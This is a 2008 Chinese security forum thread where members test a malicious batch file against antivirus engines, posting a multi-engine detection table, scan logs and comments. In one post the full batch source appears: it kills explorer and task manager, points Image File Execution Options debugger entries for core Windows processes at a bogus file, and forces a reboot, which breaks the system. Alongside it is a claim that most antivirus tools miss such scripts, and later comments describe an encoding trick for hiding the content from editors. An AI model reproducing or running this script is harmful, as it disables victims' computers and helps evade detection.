bat。过一片

Joker

比较无敌。

AhnLab-V3	2008.3.25.0	2008.03.25	-
AntiVir	7.6.0.75	2008.03.25	BAT/ExecOpt
Authentium	4.93.8	2008.03.25	-
Avast	4.7.1098.0	2008.03.24	-
AVG	7.5.0.516	2008.03.25	-
BitDefender	7.2	2008.03.25	-
CAT-QuickHeal	9.50	2008.03.24	-
ClamAV	0.92.1	2008.03.25	-
DrWeb	4.44.0.09170	2008.03.25	-
eTrust-Vet	31.3.5641	2008.03.25	-
Ewido	4.0	2008.03.24	-
FileAdvisor	1	2008.03.25	-
Fortinet	3.14.0.0	2008.03.25	-
F-Prot	4.4.2.54	2008.03.24	-
F-Secure	6.70.13260.0	2008.03.25	-
Ikarus	T3.1.1.20	2008.03.25	BAT.ExecOpt
Kaspersky	7.0.0.125	2008.03.25	-
McAfee	5258	2008.03.24	-
Microsoft	1.3301	2008.03.25	-
Norman	5.80.02	2008.03.20	-
Panda	9.0.0.4	2008.03.25	-
Rising	20.37.02.00	2008.03.24	-
Sophos	4.27.0	2008.03.25	Troj/Sub7-DR
Sunbelt	3.0.978.0	2008.03.18	-
TheHacker	6.2.92.253	2008.03.25	-
VBA32	3.12.6.3	2008.03.25	-
VirusBuster	4.3.26:9	2008.03.24	-
Webwasher-Gateway	6.6.2	2008.03.25	Script.ExecOpt

####.bat_ - Trojan.Win32.KillAV.qa

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

tanlimo

@echo off
echo ......
taskkill /f /im explorer.exe
taskkill /f /im iexplorer.exe
taskkill /f /im taskmgr.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe" /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe" /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe" /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe" /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regsvc.exe" /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe " /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mstask.exe " /v debugger /t reg_sz /d debugfile.exe /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplorer.exe" /v debugger /t reg_sz /d debugfile.exe /f
shutdown -r -t 59 -c "

这样的bat大多数的杀软都不会报的。

[ 本帖最后由 tanlimo 于 2008-3-25 19:06 编辑 ]

nosferatu

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\bat.rar'
C:\Documents and Settings\Administrator\桌面\bat.rar
  [0] Archive type: RAR
  --> ÌØÒìÎļþ.bat
      [DETECTION] Contains detection pattern of the batch virus BAT/ExecOpt
      [INFO]      The file was deleted!

傻猪猪米走鸡

D:\firefox download\bat.rar > RAR > 特异文件.bat - Win32/VB.NKT 特洛伊木马 - 是已删除对象的一部分
D:\firefox download\bat.rar - Win32/VB.NKT 特洛伊木马 - 已删除 - 已隔离

aarones

卡巴过了,连主动防御都没有反应,幸好事前就开了shadow defender, 不然就靠了
bat应该绑了exe文件吧,编辑bat,一堆乱码

gaojun7206

bat.rar
    [0] Archive type: RAR
    --> ÌØÒìÎļþ.bat
        [DETECTION] Contains detection pattern of the batch virus BAT/ExecOpt
        [WARNING]   Infected files in archives cannot be repaired!
        [INFO]      The file was moved to '485cea6c.qua'!


End of the scan: 2008年3月25日  20:03
Used time: 00:08 min

The scan has been done completely.

      0 Scanning directories
      2 Files were scanned
      1 viruses and/or unwanted programs were found
      0 Files were classified as suspicious:
      0 files were deleted
      0 files were repaired
      1 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      1 Files not concerned
      1 Archives were scanned
      1 Warnings
      0 Notes

qigang

原帖由 tanlimo 于 2008-3-25 18:46 发表
@echo off
echo ......
taskkill /f /im explorer.exe
taskkill /f /im iexplorer.exe
taskkill /f /im taskmgr.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option ...

感觉挺无聊的。

rising20.37.12未杀！

BING126

McAfee miss

303898443

卡巴报特洛伊程序

dikex

原帖由 aarones 于 2008-3-25 20:00 发表
卡巴过了,连主动防御都没有反应,幸好事前就开了shadow defender, 不然就靠了
bat应该绑了exe文件吧,编辑bat,一堆乱码

只是在头部加入的unicode等其他编码的标识符，以此迷惑记事本等文件编辑器；

找个不认识unicode等编码的就可以了，如winrar中的查看文件